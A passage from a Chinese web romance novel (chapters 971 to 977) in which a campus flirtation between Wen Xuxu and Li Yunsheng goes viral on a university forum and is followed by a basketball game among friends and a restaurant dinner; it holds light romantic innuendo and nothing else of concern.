“他能不能不要这么骚气,真的没完没了,你知不知道黎云笙这人一靠近我兄弟整个人就奇奇怪怪的,他疯了他疯了,他绝对疯了!” 韩城嘴里念叨着,此刻都想钻进手机帮温栩栩把黎云笙赶跑的冲动了。 盛景炎哼笑一声:“嗯,你兄弟,阿笙的老婆,他不奇怪谁奇怪。” 韩城咬牙:“你少造我兄弟黄谣。” 盛景炎摆肩:“这不是温栩栩说的吗,她现在倒是可以利用阿笙在某个圈子站稳脚跟,你不清楚?” 造谣这事儿,如果真给谁造成了困扰那确实头疼,但黎云笙当初被那么造谣也没见他发怒。 若换作其他人,恐怕早已律师函满天飞,可这位向来以清冷形象示人的黎云笙,却罕见地保持了缄默。 一群人YY他跟温栩栩这样那样,甚至孩子都出来了也没见黎云笙澄清什么,说白了还有点乐在其中。 温栩栩呢?也利用黎云笙达成了自己的目的。 只能说这波造谣没有伤害到他们两人,只能说一个愿打一个愿挨。 啧,以前怎么没发现黎云笙真的这么骚呢。 “不行,我必须去看看,不然黎云笙指不定又要欺负我兄弟了。” 韩城说完就冲远了。 盛景炎实在是无奈。 不是都知道温栩栩是女人了,到底是怎么还能一口一句“我兄弟”的。 韩城都要过去了,盛景炎赶紧跟上,也没别的意思,就是单纯的想看热闹。 上校内论坛这件事,黎云笙不知道,温栩栩也不知道。 只是此刻温栩栩因为黎云笙那句说她“不乖”的话,整张脸已经红得仿佛能滴出血来。 她的耳尖发烫,连指尖都微微蜷缩着,整个人像被阳光晒久了的棉花糖,软绵绵的没了力气。 当黎云笙修长的手指即将触碰到她时,某种羞恼与慌乱突然涌上心头,她下意识抬手推了他一把。 结果没推动,反而因为惯性,她整个人踉跄着向前栽去,像是被抽走了骨架的布娃娃。 黎云笙剑眉倏然皱起,眼疾手快地扣住她纤细的手腕。可温栩栩下坠的力道太大,他只能顺势侧身,任由她重重砸在自己身上,后背结结实实地撞上坚硬的地面。 温栩栩就是再瘦,可这么砸到他怀里还是让他闷哼了一声,手臂却还圈着她的腰没放开。 两人肌肤完全紧贴在一起,周围的保镖也没敢上来拦。他们垂着眼不敢多看,却又能清晰看见温栩栩散乱的发丝蹭过黎云笙的侧脸。 不敢过去,根本不敢过去。 温栩栩脸颊灼烫埋头在他胸口不敢抬头。她死死埋在他胸口,睫毛颤抖着不敢睁开,耳朵里全是黎云笙沉稳的心跳声,一下下震得她耳膜发麻。 太丢人太尴尬了。 她脑子里乱哄哄的,像是有无数只蜜蜂在嗡嗡作响。 本来想推人结果却像投怀送抱般摔在他怀里…… 喉间忍不住溢出一声细弱的呜咽,像是被雨水打湿翅膀的小雀,又像是委屈巴巴的小兽,带着自己都未曾察觉的撒娇意味。 “温栩栩,疼的是我。”黎云笙的声音里浸着无奈,尾音却微微上扬,像是藏着笑。 他望着头顶纷乱的碎发,感受着身上人儿颤栗的体温,突然意识到自己对她的纵容早已超过了该有的底线。 可为什么会在她摔倒的瞬间下意识护住她?为什么在她呜咽时心头会泛起莫名的怜惜?这些问题像缠在一起的丝线,在他脑中乱成一团。 第972章 现在到底是谁欺负谁? “那我能不能替你委屈啊,你不哼唧我替你哼唧?”温栩栩没抬头,声音闷闷的:“我知道你觉得哼唧丢脸。” 温栩栩还是没抬头,声音闷在他胸口,带着瓮瓮的鼻音。 她知道黎云笙肯定讨厌示弱,所以才会故意用这种孩子气的话来掩饰自己的窘迫。可话刚说完,她就后悔了。 这听起来多像在撒娇啊! 黎云笙喉结滚动了一下,沉默了片刻才道:“那确实是没听过这种离谱的说法。” 他试着调整姿势想坐起来,可温栩栩整个人像八爪鱼似的黏在他身上,腰间的力道让他动弹不得。 周围保镖投来的视线更让他额角青筋直跳,偏偏身上这个小家伙还不自知。 这样紧贴的姿势实在太过于暧昧。 温栩栩能清晰感受到他胸腔的起伏,腹肌的线条硬得像烙铁,硌得她发慌。 也不知道怎么想的,她指尖戳了戳他结实的胸口,小声嘟囔:“你能放松吗,太硬了……硌得我难受。” 黎云笙呼吸骤然一滞,几乎是被气笑了。 他胸腔里翻涌着复杂的情绪,这丫头是真的不知道自己在做什么吗? 他深吸一口气,声音染上暗哑:“温栩栩,你在我身上趴着,你让我怎么放松?能不能用你的小脑袋好好的想一想?” 温栩栩终于后知后觉地意识到两人现在的姿势有多亲密。 他的衬衫领口微微敞开,露出精致的锁骨,而她整个人趴在他怀里,裙摆凌乱地堆在腿边。 她慌忙想爬起来,却被他突然收紧的手臂锢得更紧,温热的呼吸喷在她耳畔:“别动,再乱动就真该丢人了。” 她的心跳瞬间漏了半拍。 两人之间的距离近得能数清彼此睫毛,她甚至能看见他瞳孔深处映出的自己通红的面庞。 某种酥麻的感觉从尾椎窜上脊背,她无意识地咬住下唇,却不知这动作在男人看来有多诱人。 她甚至能感受到对方的反应,救命,这人也太……太离谱了。 这是正常亚洲男性的尺寸数据?! 温栩栩震惊的同时脸颊再次红透。 黎云笙望着她水光潋滟的眼眸,突然鬼使神差地伸手,指尖抚上她发烫的脸颊。 温栩栩浑身一震,像受惊的猫儿般想往后缩,却被他的另一只手扣住后脑,彻底禁锢在咫尺之间。 温栩栩咬着唇还能感受到对方的喘息,她忍不住再度埋头进黎云笙胸口,因为他那反应也彻底明白这人为什么不肯让自己起来。 真起来了,那也太明显了,他今天穿的可是灰色的裤子,本来就那尺寸了,再是灰色的,更明显了。 “你能不能再……稍微压一压……我们这么趴着真的很古怪。”温栩栩小声嘟囔,说这话的时候整个人都要烧透了。 “我尽量。”黎云笙指尖捏住她细滑的后颈,喉结滚动了一下。 他盯着她发红的耳垂,突然觉得“尽量”这个词实在虚伪。 她贴得这样近,柔软的曲线压在他身上,呼吸间带着甜丝丝的柑橘香气,只会让他身体里的火苗越烧越旺。 她贴的这样近,只会让他更想。 “你这种人……肯定是不能坐公交车或者地铁的……这么轻易就有反应,人家都会认为你是变态。”温栩栩爆红着一张脸吐槽他。 黎云笙像是被逗笑了,胸腔微微震动,“首先,我不会坐公交或者地铁,我有专车……”他停顿了一下,语气染上几分慵懒的戏谑,“还有,温栩栩,你真以为我对谁都会有反应?” 温栩栩红着一张脸小声呢喃:“那你也可能去逛商场。” “衣服是定制的,品牌方会直接根据我的尺寸送到我的公寓,就算真的有闲心逛街也会清场。”黎云笙好心给她解释,但这话的意思总让温栩栩觉得她对有钱人的生活一无所知。 温栩栩听着他云淡风轻的描述,突然觉得心头酸胀。 什么叫“清场”?这就是有钱人的世界吗? 她甚至能想象那些店员捧着高级西装,毕恭毕敬站在空荡荡的商场里等他试穿的样子。 可恶!万恶的有钱人! 然而此刻万恶的有钱人就被她压在身下! 温栩栩“恶”从胆边生,两手伸过去捧住黎云笙的脸然后趁他震惊的时候恶作剧般揉乱了他整齐的黑发。 “太过分了!”她鼓着脸颊喊出声。 明明是她故意捣乱,却摆出一副受害者的模样。 明明是她在故意揉弄他的头发,她却发出生气的声音。 黎云笙被她突如其来的动作惊得愣住,额前的碎发凌乱地垂落,露出深邃的眉眼。 他盯着她近在咫尺的脸,呼吸猛地急促了几分。 “到底是谁过分?”他哑声问,手指无意识地收紧,将她扣得更近。 温栩栩的瞳孔骤然放大,这才意识到自己的举动有多危险。 两人的鼻尖几乎要碰在一起,她能数清他浓密的睫毛,听见他心跳的频率与自己渐渐重合。 “明明是你……”她结结巴巴想反驳,却被他突然扣住手腕,反压在身侧的草地上。 姿势瞬间颠倒,他高大的身躯笼罩下来,阴影将她完全笼罩。 温栩栩心跳如擂鼓,喉咙发紧,却见他只是用拇指摩挲着她发红的手腕,动作带着危险的温柔。 “温栩栩,你是故意的。”他声音低得像是从胸腔里挤出来的,带着压抑的暗哑,“想用这种小把戏转移注意力?” 她耳尖发烫,别开脸不敢看他,却瞥见他凌乱的发型莫名多了几分野性,竟比平时更吸引人。 这个念头刚闪过,就被自己吓了一跳。 她慌忙摇头,小声嘟囔:“才不是……谁让你总欺负我……” 黎云笙轻笑出声,热气喷在她耳畔,激得她浑身颤栗。 “我欺负你?”他故意将“欺负”两个字咬得极重,指尖顺着她手腕滑到掌心,与她十指相扣,“那刚才算谁欺负谁?” 她又开始有坏心了,突然用力揪他头发。 黎云笙吃痛闷哼,她却得逞般笑起来,眼睛弯成月牙:“反正就是你过分!” 第973章 哦,他是男狐狸精 帝城大学论坛区因为楼主上传的最新图片楼内震惊了。 帝城大学论坛的讨论区此刻像煮沸的水壶,最新上传的图片让整个服务器都险些瘫痪。 照片里,温栩栩红着脸埋在黎云笙胸口,黎云笙则半搂着她倒在草坪上,两人的姿势暧昧得能滴出水来。评论区瞬间炸开了锅,刷新速度堪比光速。 最新上传的图,温栩栩压黎云笙,黎云笙压温栩栩,谁看了都要迷糊。 {没人跟我说黎学长这么好接近,在学院里面就开始这样那样了……咱就是说,我真的凑上去跟黎学长告白什么的不会被拍飞?} {不会,没看到保镖吗?普通人哪有办法靠近他啊!} {救命,我想过盛学长在学校搞这个,但我没想过黎学长搞这个!} {还我高冷学长啊呜呜呜} {不是……黎学长这样真的好涩啊,被压在身下什么的,我是色批。} {高冷男神私下反差越大越带感!不过说真的,这位女同学这腰好细,压上去肯定软乎乎的……} {有没有人扒一扒那女同学是谁啊,我没别的意思,就单纯觉得对方实在是漂亮,没听说过这位啊!} {呵呵。} {呵呵。} 楼里突然出来一串儿二代留言“呵呵”。 整齐得像是复制粘贴。 楼里二代们集体上线,表情看似嘲讽,实则冷汗直冒。 他们知道温栩栩是谁,但他们不敢吱声。 也不是没想过温栩栩和黎云笙那些可能真就是编的,可谁能想到黎云笙!敢让温栩栩这么近距离接触!又摸胸又压制的!那还是温栩栩吗! 要死,以后再也不敢针对温栩栩了。 靠,温栩栩通过韩城舔黎云笙还真让她舔到了? 之前还暗地里嘲笑她死缠烂打黎云笙,现在却亲眼见到黎云笙不仅不反感,甚至主动当人肉垫子! 黎云笙有这么好舔吗!不会真的因为温栩栩长得好看吧!黎云笙有这么肤浅吗! 评论区风向瞬间逆转,有人开始疯狂艾特韩城,却迟迟不见回复。 而二代们的“呵呵”越刷越多,像无形的警告。终于,有个大胆的新生顶了上去: {在学校没见过这位,该不会是黎学长养在身边的情人吧,我听说大家族里面都有这个的……} 富二代们惊恐。 Big胆啊! 特别是于海洋和李明义,两个人都是脸色铁青。 就因为惹了温栩栩这两人最近都夹着尾巴做人呢,哪里想得到有人活腻歪了真往枪口上撞,是太看得起自己还是太看不起黎云笙啊! 被众人@了无数次的韩城终于出现在论坛内。 一直看到最后,整个人在贴子里发了一串儿感叹号。 下一秒,整层楼突然被管理员删除,62楼ID永久封禁。论坛陷入死寂,所有人后背发凉。 不是? 什么情况? 那女同学难不成不止跟黎云笙有关系,还跟韩城有关系? 她怎么这么能耐啊!就没见过比她还能得人,真服了,要不出本书呗! …… 温栩栩还带着点慌意,整个人都有些想躲闪,黎云笙眼底闪过促狭的光,突然翻身将她彻底压在身下,唇几乎要贴上她的:“温栩栩,你是真的很会歪曲事实。” 他说话时,唇瓣若有似无地擦过她的脸颊。 因为他靠的这样近,温栩栩瞳孔骤缩,心跳如擂鼓。 她刚要反驳,却见他忽然用拇指蹭了蹭她泛红的眼尾,动作轻柔,声音低得几乎听不清,“下次再敢往我身上砸,我不会再接你。” 这算什么威胁? 这话听起来像威胁,可尾音却裹着缱绻的暖意,连威胁都成了暧昧的絮语。 温栩栩喉间哽着一声呜咽,像是被掐住了声带的小兽。 她下意识想咬人,牙齿刚抵上他手腕内侧的薄筋,韩城的吼声便炸响在耳畔:“黎云笙!你又在干什么!你又骚扰我兄弟!” “黎云笙!你又在干什么!你又骚扰我兄弟!” “你快给我起来!” 温栩栩羞耻得几乎要蜷成虾米,偏偏黎云笙还压在她身上,两人肌肤相贴处传来灼人的温度。 她推着男人胸膛的手使不上力,反倒被他顺势扣住手腕,十指交缠的瞬间,她听见他轻笑一声,胸腔震颤的频率透过掌心传入她体内,激起一阵酥麻的战栗。 韩城看了帖子飞速赶过来,谁能想到赶过来就看到黎云笙压着温栩栩,完全压制!保镖就在一旁当木头! “黎云笙,你总骚扰我兄弟干什么,你真的很闲吗!你闲的没事你去工作好不好,你总盯着我兄弟干什么!” 韩城还在这里叽歪。 温栩栩看到韩城终于再度感到窘迫,想推开身上的男人,却又感受到那处的反应,隐忍到耳朵都是红的。 韩城倒是想过来,奈何一群保镖围着完全把他挡住了,韩城内心暗骂黎云笙不讲武德。 盛景炎倒还是那副乐颠颠的狐狸模样在那边看戏,看到一旁摆着的一堆冰饮奶茶,随手挑了杯加冰的果茶,插了吸管喝了口,真是一副看戏的姿态,一点不拿自己当外人。 盛景炎狐狸般的笑意在唇角漾开,他咬着吸管啜饮冰果茶,目光在两人身上逡巡。 “你好了没有……”温栩栩此刻耳朵都是红的。 黎云笙看着还在自己怀里的温栩栩,眸光微暗了几分,也是韩城来的太快了些,否则他可以磨蹭更久。 温栩栩终于从黎云笙怀里爬起来,他也慢条斯理的从地上站起来。 他站直时,裤脚沾了草屑,可那灰裤的质地却将修长的腿型衬得愈发修长。 保镖见两人都站起来了,这才让开地方让韩城过去。 韩城上下左右盯着温栩栩看了好久,知道她没受到什么实质性伤害才终于放心,目光重新落到黎云笙身上,没控制住视线下移。 看一眼,没忍住眼睛瞪圆了。 再看一眼,骂了句“靠”。 “黎云笙你真禽兽啊……” 所以说灰裤子就是很显眼。 韩城憋了半天嚷道:“你就不能换条黑裤子吗!灰裤子就适合那群蚕蛹或者故意勾搭人的男狐狸精穿!” 穿了灰色运动裤的盛景炎:“?” 嘴里的果茶都不香了。 什么仇什么怨? 想了下,哦,他是男狐狸精,那没事了。 第974章 韩城,你就浪吧 盛景炎又低头看了看自己与黎云笙同款的运动裤,又看了看温栩栩通红着脸躲到黎云笙身后的模样,突然又悟了,韩城这根本不是骂他,分明是在影射黎云笙刚才“故意勾搭”! 他脸上表情过于丝滑,以至于根本没有人发现盛景炎这时候有思考过。 温栩栩从黎云笙怀里挣扎起身时,耳尖红得能滴血,发丝凌乱地散在肩头,确实有那么点像被欺负蹂躏过似的。 黎云笙慢条斯理地理着她散落的衣襟,指尖掠过她锁骨时,温栩栩触电般缩了缩脖子,他却顺势将她往自己怀里带了带。 韩城:“?” 不是?为什么这么自然的啊? “吵什么?”黎云笙斜睨韩城,“不过是同学间友好交流。”韩城被这理直气壮的态度噎得险些翻白眼,正要反驳,却瞥见盛景炎手里的果茶。 那杯本该是韩城最爱喝的草莓冰沙。 盛景炎无辜地朝他眨眨眼,吸管上还挂着晶亮的糖浆,活脱脱一只偷腥的狐狸。 算了,一杯果茶,现在还是兄弟更重要! 韩城分清利弊,觉得黎云笙就十分不讲道理。 “谁家好人友好交流是把人摁到地上压着的!” 黎云笙瞥了温栩栩一眼:“她扑的我。” 黎云笙确实没撒谎,确实是温栩栩先动的手。 温栩栩也自知理亏,摸了摸鼻子解释:“是我差点摔倒,黎少给我当了人肉垫我才没摔疼。” 温栩栩实话实说,韩城却一脸温栩栩被黎云笙哄骗欺负惨了的模样。 温栩栩看着都觉得头疼。 算了,真是越想越头疼。 “你不要被他几句话就哄过去,你知道芝麻汤圆吗?他就是那种看着人畜无害但其实内芯都是芝麻馅的,盛景炎跟他全都是这种人。” 韩城当着黎云笙的面跟温栩栩蛐蛐他,盛景炎乐的喝过茶看戏就听见韩城也开始蛐蛐自己了。 不等盛景炎为自己讨个公道说句话呢,就听温栩栩一言难尽道:“那个……黎少和盛少这两人怎么看都不是人畜无害那类型吧。你们三个加起来1799个心眼子。” “?”韩城不理解,“为什么是1799个心眼儿?” 温栩栩直白开口:“他们两个一人八百个心眼,你……负一个。” 韩城:“……”好像被侮辱了。 韩城目瞪口呆想为自己辩解两句,就听温栩栩赶紧哄他。 “千万别跟他们比,你这种放到里那就是真善美男主角,他们那都是大反派,要被清算的!” 韩城满意了。 就说吧,他才是主角。 盛景炎在一旁嗤笑。 真善美男主角?不管出现在任何时期都要被人搞死的,还主角?没个心眼儿还想活到最后,估计死都不知道自己死的。 也就是韩城运气好生在韩家,上面有个狐狸哥哥韩越,不然韩家真就这么个空心白汤圆儿,有得发愁的。 眼看着盛景炎要开嘲讽,温栩栩赶紧拉开韩城。 “我带了点心买了奶茶冷饮,你去分给你那群打篮球的兄弟吧。” 韩城一听,嘿,我兄弟心里有我,立刻也不抑郁了,颠颠的拎着温栩栩那堆奶茶冷饮跑去篮球场了,还不忘炫耀这是自己兄弟买的。 等看到韩城说的“兄弟”是温栩栩,众人表情又是有些古怪,其中甚至还有在八卦论坛混的二代,没忍住小声嘟囔了句“你确定是你兄弟不是黎少老婆吗。” 一句话吃了韩城一个爆栗。 可恶,就不能让他兄弟独立行走吗?黎云笙这个蹭货。 韩城挑了自己喜欢的草莓冰沙一口气喝完了,杯子精准的丢到垃圾桶内。 结果下一秒就见黎云笙换了运动装进来。 韩城微妙的挑了下眉。 “来一场?”黎云笙淡淡道。 韩城拍着篮球啧了一声:“你怎么突然要下场了?不是说室外篮球场太热太闷?” “今天看你不顺眼,所以来一场?”黎云笙还挺诚实。 篮球场其它人特别懂,换他们是黎少,跟自己老婆搂搂抱抱韩少突然窜出来一通骂,他们也会看韩少不顺眼。 韩城哼了一声:“我还看你不顺眼呢,来就来。”说着偏头看盛景炎:“盛狗,我们一起虐他!” 盛景炎面带微笑的走到黎云笙身边,“错了,是我跟阿笙一起虐你。” 韩城:“?” 什么个意思?刚不还是一队的吗? “我们是灰裤子联盟。”盛景炎继续微笑,显然是个小心眼儿的记仇狐狸。 “盛景炎你还能再小心眼一点吗!”韩城翻了个白眼。 盛景炎狐狸微笑:“可以哦。” 行,又开始烧了。 “栩栩记得给我加油!”韩城嚷嚷了句。 温栩栩赶紧喊了句“韩城加油”。 听到温栩栩喊了什么,黎云笙的眸色暗了暗。他活动手腕时,指节发出清脆的咔嗒声,余光却是看向温栩栩。 盛景炎则斜倚着球架,狐狸尾巴似的发梢随着风晃荡:“韩城,你就浪吧。” 韩城没听懂盛景炎的意思。 他觉得自己可不浪,最浪的绝对是盛景炎才对。 不过也没给韩城多少思考的时间,哨声已经响起,韩城如猎豹般扑向黎云笙。 黎云笙却像预判了所有路径,侧身闪避的动作流畅,盛景炎从斜后方截断韩城的退路,韩城咬牙突破,却在投篮时被黎云笙单手盖帽,篮球重重砸在他肩头,力道大得让他踉跄半步。 “啧,太弱了。”黎云笙擦过他身边时,呼吸热流喷在韩城耳畔,带着几分挑衅的意味儿。 韩城猛地回身,却见盛景炎正对着他比划手势,大拇指向下,狐狸微笑里都是挑衅,这货嘲讽他呢。 场边爆发出一阵倒喝彩,混着温栩栩憋不住的轻笑。韩城气得额角青筋直跳,却瞥见温栩栩躲在树后朝他比加油的手势。 他也没想到这两人配合的这么好,真故意折腾他啊。 第二回合,韩城韩城趁机抢断,却在跃起时被人从后方绊住脚踝,是盛景炎用灰裤裤脚勾住了他的鞋带。 “犯规!”韩城摔在地上时,膝盖蹭出火辣辣的疼。 第975章 灰裤子联盟,不讲武德 盛景炎却摊手无辜:“灰裤子联盟,不讲武德。” 比分差距逐渐拉大,韩城的衬衫被汗水浸成半透明。 他猛地抢球冲刺,却在三分线外被黎云笙截住,球已从他腋下穿过,精准落入篮筐。 终场哨响时,韩城瘫坐在场边,灌了半瓶冰水才压下胸腔的燥火。 黎云笙慢条斯理地拧干运动毛巾,银灰裤上的汗渍勾勒出腰臀的凌厉线条。 盛景炎则晃到他面前,“灰裤子赢了。”他一脸狐狸小,果然小心眼儿的在记仇呢。 服了,真没想到自己输的这么惨。 其实不怪韩城,韩城打球是厉害的,但黎云笙和盛景炎俩人凑一起,韩城那队又带不起来,只能被碾压了。 今天但凡韩越也在,韩城都不会输的这么惨。 “你们两个至于打这么狠吗。”韩城呼了口气。 “这就狠了,下次让你再见识点厉害的。”盛景炎还是笑眯眯的,怎么看都是红毛狐狸。 韩城“嘁”了一声,根本没放心上。 打了篮球都觉得味道冲,黎云笙几人去楼上冲澡换衣服,临走前韩城还叮嘱温栩栩别乱跑,他们马上下来。 也就一会儿的功夫,韩城就下来了,带着温栩栩去停车场取车,她开的韩城的车自然跟韩城一起,盛景炎和黎云笙对此没有意见。 韩城路上就给华庭那边的经理打了电话订好了饭菜,今天算是他跟黎云笙盛景炎几个小聚,所以没打算带着温栩栩,但他懒得开车了,就让温栩栩开到华庭,自己做条懒狗。 温栩栩对此没有意见。 坦白来说韩城这人做朋友是很好的,就是偶尔有点骄纵,但也很好哄,顺毛撸就好。 给他开车,温栩栩一点不觉得委屈。 出校门的时间到了六点,正是下班的时间和饭点儿,正是堵车的时候,路上堵了一段时间,好在华庭离得不算远,不然这晚饭都要成夜宵了。 华庭是帝城有名的星级饭店,他们最爱在这边聚餐,少爷们去的都是上档次的,不仅是因为这边食材干净味道好,最主要的是衬这身份。 当然其中韩城是个另类,他偶尔还去夜市小摊儿上撸串儿,臭豆腐都没放过。 温栩栩把车子开到华庭门口:“到了。” 韩城懒洋洋的蹭着车座:“还是有人开车更爽啊,我自己来我都懒得开车了,只想蹭盛狗和阿笙的车。” “你快上去吧,吃完了给我打电话,我过来接你。” 他们几个人聚会的时候温栩栩是不去的,她自己也是有点分寸的,韩城能带她进圈子都已经不错了,她不奢望更多。 韩城这人心大,没觉得自己不带温栩栩进去有什么不对,因为一直也没带啊。 温栩栩不提,他也就缺那根筋,只管自己乐呵了。 倒不是自私,而是这位少爷打小被宠到大的,做事确实是比较自我的。 温栩栩见他上去了,便把车开到附近的停车场开始看那剧本,打算等他们吃完饭了再私下跟几位聊聊剧本投资的事。 几人都已经走进包厢了,盛景炎倒了热茶喝了口,半点不见之前在篮球场上怎么疯的。 韩城踢掉运动鞋,整个人瘫进软垫里,整个懒鬼模样。 见韩城一个人进来,盛景炎眉心一跳,瞥了眼身旁的黎云笙,状似不经意的开口问道:“你兄弟呢。” “她当然送我过来就走了啊,那不然呢?”韩城觉得他问这问题就很蠢。 盛景炎噗嗤笑出声,茶盏里的汤晃出涟漪:“我的韩大少爷,现在六点半,正是饭点,她一个姑娘家,在停车场蹲着等咱们吃饭,你不觉得亏心?” 韩城显然懵了。 他好像确实没想过这个问题。 盛景炎啧了一声:“你整天兄弟兄弟的,连这种事都没替她想过?” 黎云笙忽然放下筷子,骨节分明的手指在桌布上敲了两下。 “去把她叫上来一起吃,总归是我们几个聚餐,也没什么外人。”黎云笙开口。 韩城这会儿也不防他了,大概是觉得自己在,黎云笙占不了温栩栩的便宜。 黎云笙让保镖去请人,结果根本没请到人。 韩城心里堵得慌。 “我们在这里吃饭,她却可怜巴巴的在外面一个人,我去,我怎么觉得我有点畜生啊。” 盛景炎嗯了一声:“那确实是有点。” 黎云笙面无表情的翻看酒水单,没打算掺进其中。 盛景炎仍然是笑眯眯的模样,只是总给人一种饱含深意的感觉。 韩城这下是彻底吃不下去了,吃一口就觉得温栩栩在下面可怜巴巴饿着肚子等他很可怜哎。 韩城撂下碗筷直接下楼,他车子有定位,根据定位找到了车,还真就在停车场,他到的时候温栩栩正坐在车座上。 停车场顶灯在头顶嗡嗡作响,光晕投在温栩栩的车窗上,将她的剪影勾勒得格外单薄。 温栩栩正在看编剧发来的几集剧本,根本没注意到韩城。 韩城看的实在是揪心,在车外敲了敲车窗,力道比想象中重。 温栩栩听见声音愣了下,一转头就看到在门外的韩城。 温栩栩赶紧降下车窗。 “韩少,你怎么下来了?” 韩城有点烦躁的揉了把头发:“你跟我一起上去吃饭。” “我不是很饿,我在这里看剧本呢。”温栩栩拒绝。 韩城憋屈似的开口:“你是不是心里骂我呢?” 温栩栩:“?”啊?怎么突然说这个? 天地良心,温栩栩骂过黎云笙但绝对没骂过韩城啊。 韩城撇了下嘴:“你是不是觉得我总是招呼你做这做那还不让你吃口热乎饭很过分。” 他突然伸手扣住车窗边缘,看着她缓缓开口:“虽然你什么都没说……但我现在觉得自己挺畜生的。” 温栩栩愣怔于韩城说的这些,实在不明白他怎么突然有这种思想觉悟。 其实在外面没什么不好啊,她完全不介意的。 “你们三个聚会,我进去多奇怪。”温栩栩笑了下:“别总因为一点小事就觉得自己做错了,你是很好很好的人啊,我不上去只是因为我不想上去,跟你没有关系的。” 第976章 阿笙一直都洁身自好 其实温栩栩是真觉得韩城就是很好很好啊。 这几个人,黎云笙最不好接近,总是疏离冷淡,盛景炎看着总是笑吟吟的,但谁也不知道他的小算计会不会用在你身上,韩越倒是温柔绅士,可心黑的程度跟那两人几乎不相上下。 只有韩城就是那种说什么是什么的人,直来直去得让人踏实,只是他可能做事不会考虑太多行事莽撞,大抵是因为自小在韩家被宠惯了,但绝对没有坏心思。 说你是朋友那就是朋友,别人说什么都不好使。 温栩栩想起韩城在宴会上为自己挡酒时的模样,他涨红着脸,把酒杯重重搁在桌上,嚷嚷着“栩栩是我朋友,谁也别想灌她酒”,那副护犊子的模样,活像只炸毛的小狮子。 也就亏得温栩栩是个好人,若换个别的什么人来,韩城指不定要被怎么利用了。 不过好在韩城身边有三个黑心的盯着,真要对韩城有别的想法肯定也会被察觉出来的。 就像她不就被黎云笙威胁过?知道她没有坏心思才没再管的? 所以温栩栩这次吃饭没带自己,温栩栩更觉得没什么问题。 她只是强行挤进这个圈层,如果他们带了其它二代一起吃饭,那带上她倒是可以。 但这次就他们三个人,也可能稍后韩越会来,等于是他们这小圈打小一起长大的几人聚会,她这也腰挤进去那未免太不懂事了。 而且,她本就是游离在外的,强行挤进去算是什么是。 所以真没觉得自己被韩城忽略了。 温栩栩笑看着他:“你真的不必想太多,我没觉得你欺负我,你一直在护着我啊,就像看到黎云笙跟我一起,你也会为我出头,你就是很好很好。” 韩城被夸得开心了,笑的有点得意,一脸我就说我天下第一的表情,让温栩栩看的忍不住笑出声。 谁家富二代这么憨的。 真的有点可爱啊。 她认为的可爱不是对对方有意思那种,而是单纯作为朋友觉得可爱。 那些世家子弟,哪个不是人精? 可韩城却傻得坦荡,连生气都毫无遮掩。 她忽然想起初入这个圈子时,自己像只惶惶然的幼鹿,是韩城硬拉着她参加聚会,笨拙地为她介绍人脉,甚至为她挡掉那些暗含讥讽的调侃。 他或许不会周全地考虑太多,可那份“你的事就是我的事”的赤诚,却比任何虚与委蛇的温柔都来得珍贵。 “行了行了,我知道你很崇拜我了,跟我一起上去吧,虽然你觉得我没欺负你,但我在上面真的吃不下饭,一起上去吧,盛景炎和阿笙都不在意的。” “我今天还特地让主厨做了我最爱吃的樱桃炖肉还有香薰三文鱼,一起上去吧。” 韩城还在劝。 “不过,你真的确定带我上去没问题?”她玩笑般开口,“万一黎云笙黑着脸……” 韩城想了下。 黎云笙看到温栩栩会黑脸?啊?看到他才会黑脸吧。 韩城觉得肯定不会。 温栩栩却微微蹙起眉头,睫毛在眼下投下细碎的阴影。她歪头想了想,声音里染上几分无奈:“我知道他看到我不会黑脸,但是……其实我现在有点怕黎少哎,毕竟才经历了今天的事。”说到最后,音调不自觉地软了下去。 温栩栩说着就踩了黎云笙一脚。 又把今天的锅扣到了黎云笙身上。 温栩栩在心底嘀咕,理直气壮中却夹着心虚。 本来就是嘛。 她今天好端端的来找韩城,就是黎云笙突然出现吓了她一大跳啊,如果不是黎云笙非让她过去,还说那些话,她也不会面红耳赤想推他还摔到他怀里,不管,就是黎云笙的错。 想到这里温栩栩都有一种恍恍惚惚的感觉,好像就是有种自己这么胡闹黎云笙也不会生气的错觉。 有点可笑……但偏偏确实每次胡闹黎云笙都没生气。 黎云笙那人看着也不像很好脾气的啊。 韩城没注意到温栩栩飘忽的眼神,此刻听到温栩栩说的话更觉得是黎云笙的错了,结果下一秒听到温栩栩问:“黎云笙对女性都这么宽容温柔的吗?跟谁都能……那么亲密吗?” 韩城听到这里脸上的表情跟见了鬼没什么两样。 跟谁都那么亲密? “你猜为什么你说那些话后圈子里很多人不敢针对你,就是因为阿笙一直都……洁身自好啊。” 黎云笙就是很干净啊。 黎云笙就是很干净啊,干净到近乎刻板。 他想起某次酒会上,某位名媛故意将香槟泼在黎云笙西装上,对方娇笑着要帮忙擦拭,结果黎云笙直接后退两步,冷声道:“需要我让人给你重新开一瓶?”全场瞬间噤声。 “如果你说你是盛景炎的人,其它人还会调侃,因为都知道盛狗身边的人都待不久。”韩城说着,舌尖抵了抵腮帮,“但阿笙不同,阿笙身边别说女人了,我都怀疑这人养只猫都只养公猫,就好像天生跟女性反冲似的。”他忽然顿了顿,眼底闪过一抹复杂,“有时候我真以为阿笙喜欢男人了。” 所以温栩栩说自己是黎云笙的人那群人才会震惊不敢对她下手。 上一个造谣黎云笙的可没什么好下场。 就是一年前为了拿到黎氏那个高奢代言,一线女星林若薇主动爬床还吃了能让人兴奋的药。温栩栩记得当时新闻热搜被压得飞快,但圈子里却传得沸沸扬扬。黎云笙愣是没碰她,直接让人报警丢出去。 他唯一好一点的是让人穿好衣服才丢的,没有让对方太过丢脸,这已经算是他善良了。 但是林若薇事后被代言方解约,又被扒出多次陪酒的黑料,从此在娱乐圈销声匿迹,虽然这件事跟黎云笙没关系,是林若微自己作的,但还是会有人觉得,一线顶流都这样被轻易压制了,别的人更不敢造次接近黎云笙了。 直到温栩栩胆子大直接造谣,偏偏黎云笙还没反驳,什么都没说把人带走了,这能怪那群人震惊到乱编小作文吗? 甚至有人震惊的点在于黎云笙竟然喜欢的真是女人。 毕竟他宴会中永远与女性保持两臂距离,活像对异性过敏。 第977章 补补脑吧 “你说这像话吗?”韩城忽然嗤笑出声,唇角抽搐得厉害,“我之前还听说有人赌他是不是性冷淡,结果你倒好,直接成了他身边唯一的‘例外’。” 他自己也是觉得离谱的程度了。黎云笙对女性的疏离几乎到了病态的地步,可温栩栩不仅靠近了他,甚至还……摔进了他怀里。 “哎,不说了,你快跟我上去。”韩城觉得自己想太远了,赶紧让温栩栩上去才是正事。 温栩栩摇头:“我就不上去了,我有点怕黎少。” 